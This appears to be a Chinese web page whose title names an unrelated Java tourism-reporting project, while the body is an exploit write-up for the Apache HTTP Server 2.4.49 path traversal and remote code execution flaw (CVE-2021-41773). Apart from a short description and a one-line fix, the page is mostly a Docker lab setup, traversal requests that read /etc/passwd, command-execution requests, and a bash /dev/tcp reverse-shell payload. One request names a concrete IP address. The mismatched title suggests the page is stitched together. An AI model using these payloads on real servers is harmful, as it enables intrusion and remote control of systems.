[1702]java旅游资源网上填报系统Myeclipse开发mysql数据库web结构java编程计算机网页项目-CFANZ编程社区

[1702]java旅游资源网上填报系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

漏洞描述

在对 Apache HTTP Server 2.4.49 中的路径规范化所做的更改中发现一个缺陷。穿越的目录允许被访问，比如配置了<Directory />Require all granted</Directory>，攻击者可能使用路径遍历攻击将 URL 映射到类似别名指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“require all denied”的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则可以允许远程执行代码。此问题仅影响 Apache 2.4.49，而不影响早期版本。

CVE Record | CVEhttps://www.cve.org/CVERecord?id=CVE-2021-41773

指纹：app:“apache web server 2.4.49 2.4.50”

影响版本

 Apache HTTP Server 2.4.49

漏洞复现

靶场准备

docker环境搭建:

mkdir Dockerfile //在空目录里面创建Dockerfile目录
cd Dockerfile //进入Dockerfile目录
vi Dockerfile //创建文件Dockerfil并编写

编辑DockerFile文件内容：

FROM httpd:2.4.49

RUN set -ex \
    && sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
    && cat /usr/local/apache2/conf/httpd.conf \
        | tr '\n' '\r' \
        | perl -pe 's|<Directory />.*?</Directory>|<Directory />\n    AllowOverride none\n    Require all granted\n</Directory>|isg' \
        | tr '\r' '\n' \
        | tee /tmp/httpd.conf \
    && mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

执行构建操作：

docker build -t  httpd:2.4.49rce .

运行docker:

docker run -d -p 85:80 httpd:2.4.49rce

浏览器访问85端口，出现“It works!”说明部署成功:

poc

目录遍历POC:

curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

或者

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

exp

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: xx.xx.xx.xx:xx
Content-Type: text/plain
Content-Length: 8

echo; id

 curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "xx.xx.xx.xx:xx/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

反弹shell:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 123.58.224.8:63275
Content-Type: text/plain
Content-Length: 50

echo; bash -c '0<&168-;exec 168<>/dev/tcp/xx.xx.xx.xx/xx;bash <&168 >&168 2>&168'

漏洞修复

升级Apache HTTP Server到最新版本

0 条评论